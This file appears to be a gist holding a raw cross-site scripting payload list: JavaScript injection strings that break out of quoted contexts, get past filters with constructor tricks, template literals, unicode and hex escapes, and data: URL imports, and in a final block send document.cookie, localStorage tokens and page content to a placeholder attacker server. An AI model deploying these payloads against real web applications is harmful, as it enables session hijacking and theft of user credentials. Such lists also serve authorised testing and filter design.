gistfile1.txt

");alert(1);//
');alert(1);//
`);alert(1);//
";alert(1)//
';alert(1)//
`-alert(1)-`
" autofocus onfocus=alert(1) x="
' autofocus onfocus=alert(1) x='
data:text/html,alert(1)
data:text/javascript,alert(1)
alert?.(1)
confirm?.(1)
top.alert(1)
self.alert(1)
parent.alert(1)
alert(1)
confirm(1)
prompt(1)
print()
(alert)(1)
this
window
top
Function('alert(1)')()
[].constructor.constructor('alert(1)')()
";alert(1)//
';alert(1)//
`);alert(1);//
")};alert(1);//
'};alert(1);//
*/alert(1)/*
--alert(1)
1&&alert(1)
true&&alert(1)
0||alert(1)
alert(1-0)
alert(1*1)
alert(1/1)
${alert(1)}
${confirm(1)}
${prompt(1)}
eval('alert(1)')
setTimeout('alert(1)')
setInterval('alert(1)',1)
alert\x281\x29
\u0061lert(1)
[].filter.constructor('alert(1)')()
[].map.constructor('alert(1)')()
location='javascript:alert(1)'
location.href='javascript:alert(1)'
throw alert(1)
void alert(1)
delete alert(1)
(()=>alert(1))()
[...[]].constructor.constructor('alert(1)')()
onerror=alert(1)
onload=alert(1)
import('data:text/javascript,alert(1)')


===============================================================

alert(1)
confirm(1)
prompt(1)
print()
top.alert(1)
self.alert(1)
parent.alert(1)
frames.alert(1)
globalThis.alert(1)
window.alert?.(1)

Function('alert(1)')()
[].constructor.constructor('alert(1)')()
[].filter.constructor('alert(1)')()
[].map.constructor('alert(1)')()
[].sort.constructor('alert(1)')()
(()=>{}).constructor('alert(1)')()
(async()=>{}).constructor('alert(1)')()
(function(){}).constructor('alert(1)')()
Object.constructor('alert(1)')()
Reflect.constructor('alert(1)')()

${alert(1)}
${confirm(1)}
${prompt(1)}
`${alert(1)}`
eval(`${'alert(1)'}`)
Function`${'alert(1)'}`()
setTimeout`${'alert(1)'}`
setInterval`${'alert(1)'}`
new Function`${'alert(1)'}`
`${(()=>alert(1))()}`

1&&alert(1)
true&&alert(1)
0||alert(1)
false||alert(1)
null??alert(1)
undefined??alert(1)
!function(){alert(1)}()
~function(){alert(1)}()
void alert(1)
throw alert(1)

";alert(1)//
';alert(1)//
`);alert(1);//
")};alert(1);//
'};alert(1);//
";confirm(1)//
';prompt(1)//
`-alert(1)-`
";top.alert(1)//
';self.alert(1)//

alert\x281\x29
\u0061lert(1)
\u0063onfirm(1)
\u0070rompt(1)
eval('\x61lert(1)')
eval('\u0061lert(1)')
Function('\x61lert(1)')()
Function('\u0061lert(1)')()
setTimeout('\x61lert(1)')
setInterval('\u0061lert(1)',1)

(()=>alert(1))()
(async()=>alert(1))()
(async()=>{await 1;alert(1)})()
(()=>{return alert(1)})()
(()=>{throw alert(1)})()
Promise.resolve().then(()=>alert(1))
queueMicrotask(()=>alert(1))
setTimeout(()=>alert(1))
setInterval(()=>alert(1),10)
requestIdleCallback(()=>alert(1))

[].__proto__.constructor('alert(1)')()
Object.getPrototypeOf([]).constructor('alert(1)')()
({}).constructor.constructor('alert(1)')()
Reflect.getPrototypeOf([]).constructor('alert(1)')()
Object.setPrototypeOf(()=>{},Function)('alert(1)')()
[].__proto__.map.constructor('alert(1)')()
[].__proto__.filter.constructor('alert(1)')()
[].__proto__.sort.constructor('alert(1)')()
[].__proto__.reduce.constructor('alert(1)')()
[].__proto__.every.constructor('alert(1)')()

import('data:text/javascript,alert(1)')
import('data:text/javascript,confirm(1)')
import('data:text/javascript,prompt(1)')
(async()=>await import('data:text/javascript,alert(1)'))()
Promise.resolve(import('data:text/javascript,alert(1)'))
import('data:text/javascript,top.alert(1)')
import('data:text/javascript,self.alert(1)')
import('data:text/javascript,parent.alert(1)')
import('data:text/javascript,globalThis.alert(1)')
import('data:text/javascript,console.log(1)')


fetch('//YOUR_SERVER/'+document.cookie)
navigator.sendBeacon('//YOUR_SERVER',document.cookie)
new Image().src='//YOUR_SERVER/'+document.cookie
location='//YOUR_SERVER/'+btoa(document.cookie)
fetch('//YOUR_SERVER/?d='+encodeURIComponent(document.cookie))
navigator.sendBeacon('//YOUR_SERVER/?c='+document.cookie)
(new Image).src='//YOUR_SERVER/?c='+document.domain
fetch('//YOUR_SERVER/'+localStorage.token)
navigator.sendBeacon('//YOUR_SERVER/'+JSON.stringify(localStorage))
fetch('//YOUR_SERVER/'+document.documentElement.innerHTML.length)